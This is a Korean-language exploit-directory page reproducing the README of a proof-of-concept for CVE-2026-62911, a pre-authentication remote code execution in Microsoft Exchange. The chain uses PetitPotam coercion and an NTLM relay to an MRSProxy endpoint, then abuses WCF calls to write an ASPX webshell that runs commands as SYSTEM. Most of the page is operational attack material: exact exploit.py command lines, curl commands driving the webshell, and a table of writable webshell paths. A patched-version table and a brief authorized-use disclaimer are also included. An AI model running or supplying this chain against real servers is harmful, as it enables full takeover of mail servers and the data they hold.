Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-62911 — CVE-2026-62911에 대한 개념 증명 익스플로잇: NTLM 릴레이를 통해 MRSProxy로 전달하여 Microsoft Exchange에서 사전 인증 RCE를 달성하고, SYSTEM 명령 실행을 위한 ASPX 웹쉘을 작성합니다. | Kitploit
도구/GitHubGitHub/hypnguyen1209/cve-2026-62911
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubhypnguyen1209/cve-2026-62911

CVE-2026-62911

CVE-2026-62911에 대한 개념 증명 익스플로잇: NTLM 릴레이를 통해 MRSProxy로 전달하여 Microsoft Exchange에서 사전 인증 RCE를 달성하고, SYSTEM 명령 실행을 위한 ASPX 웹쉘을 작성합니다.

저장소 보기
22일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-62911

Microsoft Exchange Server 사전 인증(Pre-auth) RCE. 자격 증명이 필요 없습니다.

Orange Tsai(DEVCORE)가 Pwn2Own Berlin 2026에서 3-버그 체인의 일부로 이 취약점을 사용했습니다. $200,000 상금, 완전한 SYSTEM 탈취.

기능

Exchange는 MailboxReplicationProxyService(MRSProxy)를 두 개의 경로로 노출합니다. 그중 하나는 Extended Protection 없이 HTTP.sys에 있습니다:

경로호스팅Extended Protection
/EWS/MRSProxy.svcIIS예. 안전함.
/Microsoft.Exchange.MailboxReplicationService.ProxyServiceHTTP.sys아니요. 릴레이 대상.

HTTP.sys 엔드포인트는 Negotiate 인증을 수락하지만 채널 바인딩(channel binding)은 절대 확인하지 않습니다. 여기에 머신 계정 해시를 릴레이하면 Exchange는 사용자를 해당 머신으로 취급합니다. 머신 계정은 기본적으로 ms-Exch-EPI-Token-Serialization을 보유하므로 WCF 서비스가 전체 액세스를 부여합니다.

내부에 진입하면 IMailbox_Config6()가 filePath 매개변수를 받습니다. PstDestinationMailbox.ConfigPst()는 사용자가 지정한 경로를 그대로 씁니다. 확장자 검사가 없습니다. IIS 디렉터리를 가리키고 IMailbox_Connect()를 호출하면 파일이 디스크에 생성됩니다. 그 파일을 ASPX 웹셸로 만들면 끝입니다.

이 취약점을 가능하게 하는 구성

root@kitploit:~
<!-- MSExchangeMailboxReplication.exe.config -->
<binding name="MrsProxyHttpsBinding" receiveTimeout="00:22:00">
  <httpsTransport authenticationScheme="Negotiate"
      maxReceivedMessageSize="100000000" />
  <!-- no extendedProtectionPolicy — that's the bug -->
</binding>

WCF 인터페이스(관련 메서드)

root@kitploit:~
[ServiceContract(SessionMode = SessionMode.Required)]
interface IMailboxReplicationProxyService
{
    void ExchangeVersionInformation(
        VersionInformation clientVersion,
        out VersionInformation serverVersion);

    long IMailbox_Config6(
        Guid reservationId, Guid primaryMailboxGuid, Guid physicalMailboxGuid,
        string filePath,        // attacker-controlled, no validation
        byte[] partitionHint, Guid mdbGuid, string mdbName,
        MailboxType mbxType, int proxyControlFlags, int localMailboxFlags);

    void IMailbox_Connect(long mailboxHandle);
        // calls PSTSession.Open() — writes file at filePath
}

영향을 받는 버전

Exchange 2016은 2025년 10월 지원 종료(EOL)되었습니다. 2026년 8월 수정 사항은 ESU(Extended Security Updates)를 통해서만 제공됩니다. 조직이 ESU를 구매하지 않았다면 패치가 없습니다.

공격 동작 방식

root@kitploit:~
Attacker                    EX02 (trigger)         EX01 (target)
   │                            │                       │
   │── PetitPotam (MS-EFSR) ──▶│                       │
   │                            │                       │
   │◀── NTLM auth (EX02$) ─────│                       │
   │                            │                       │
   │── relay NTLM ────────────────────────────────────▶│
   │   (to MRSProxy HTTP.sys)                           │
   │                                                    │
   │── IMailbox_Config6(path=shell.aspx) ─────────────▶│
   │── IMailbox_Connect() ────────────────────────────▶│
   │                                                    │ file written
   │                                                    │
   │── GET /aspnet_client/shell.aspx?cmd=whoami ──────▶│
   │◀── nt authority\system ────────────────────────────│

다섯 단계:

  1. EX02에서 MS-EFSR(EfsRpcOpenFileRaw)을 트리거합니다. EX02는 머신 계정으로 다시 인증을 시도합니다. PetitPotam은 패치되지 않은 Exchange에서 인증 없이 동작합니다.

  2. SMB 리스너가 EX02$로부터 NTLM negotiate를 포착합니다.

  3. HTTPS를 통해 EX01의 MRSProxy로 전달합니다. 엔드포인트가 EPA를 확인하지 않으므로 릴레이가 성립합니다. 머신 계정에는 이미 Exchange 직렬화 권한이 있으므로 권한 부여가 통과됩니다.

  4. WCF 호출을 전송합니다: C:\inetpub\wwwroot\aspnet_client\shell.aspx 같은 경로로 IMailbox_Config6를 호출한 다음 IMailbox_Connect를 호출합니다. Exchange가 파일을 씁니다.

  5. 웹셸에 접속합니다. SYSTEM 권한을 획득합니다.

실행 방법

의존성 설치:

root@kitploit:~
pip install impacket pysocks

MRSProxy가 노출되어 있는지 확인:

root@kitploit:~
python3 exploit.py --check-only \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100

401 응답에 Negotiate와 함께 Microsoft-HTTPAPI/2.0이 표시되어야 합니다. 그러면 HTTP.sys 엔드포인트가 활성 상태이고 EPA가 없다는 의미입니다.

익스플로잇 실행:

root@kitploit:~
python3 exploit.py \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100

대상에서 PetitPotam에 인증이 필요한 경우:

root@kitploit:~
python3 exploit.py \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100 \
  -u jsmith -p 'P@ssw0rd!' -d CONTOSO.COM

SOCKS 터널을 통하는 경우:

root@kitploit:~
python3 exploit.py \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100 \
  --socks 127.0.0.1 --socks-port 10800

다른 쓰기 위치를 선택하는 경우:

root@kitploit:~
python3 exploit.py \
  -t 192.168.1.10 \
  -e 192.168.1.11 \
  -l 192.168.1.100 \
  --webshell-path 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\x.aspx' \
  --webshell-url '/owa/auth/x.aspx'

셸이 생성되었는지 확인:

root@kitploit:~
python3 exploit.py --verify-only \
  -t 192.168.1.10 \
  --webshell-url '/aspnet_client/system_web/shell.aspx'

사용:

root@kitploit:~
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=whoami+/all"
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=ipconfig+/all"

동작하는 쓰기 경로

참고 자료

  • MBBank VRED: Exchange Server 사전 인증 분석
  • Pwn2Own Berlin 2026, 2일차
  • Microsoft 보안 권고
  • KB5121576

법적 고지

승인된 테스트 전용입니다. 어떤 시스템에 대해 실행하기 전에 서면 허가를 받으십시오.

도구 다운로드
제품취약한 버전수정 버전KB
Exchange 2016 CU2315.1.2507.7215.1.2507.72KB5121576
Exchange 2019 CU1415.2.1544.4315.2.1544.43KB5121575
Exchange 2019 CU1515.2.1748.4815.2.1748.48KB5121574
Exchange SE RTM15.2.2562.4515.2.2562.45KB5121573
디스크 경로URL이유
C:\inetpub\wwwroot\aspnet_client\system_web\shell.aspx/aspnet_client/system_web/shell.aspx기본 IIS 클라이언트 스크립트 디렉터리. 일반적으로 쓰기 가능하며 ASPX를 서빙함.
C:\inetpub\wwwroot\aspnet_client\shell.aspx/aspnet_client/shell.aspx동일하지만 더 짧음.
...\V15\FrontEnd\HttpProxy\owa\auth\shell.aspx/owa/auth/shell.aspxOWA 인증 폴더.
...\V15\FrontEnd\HttpProxy\ecp\auth\shell.aspx/ecp/auth/shell.aspxECP 인증 폴더.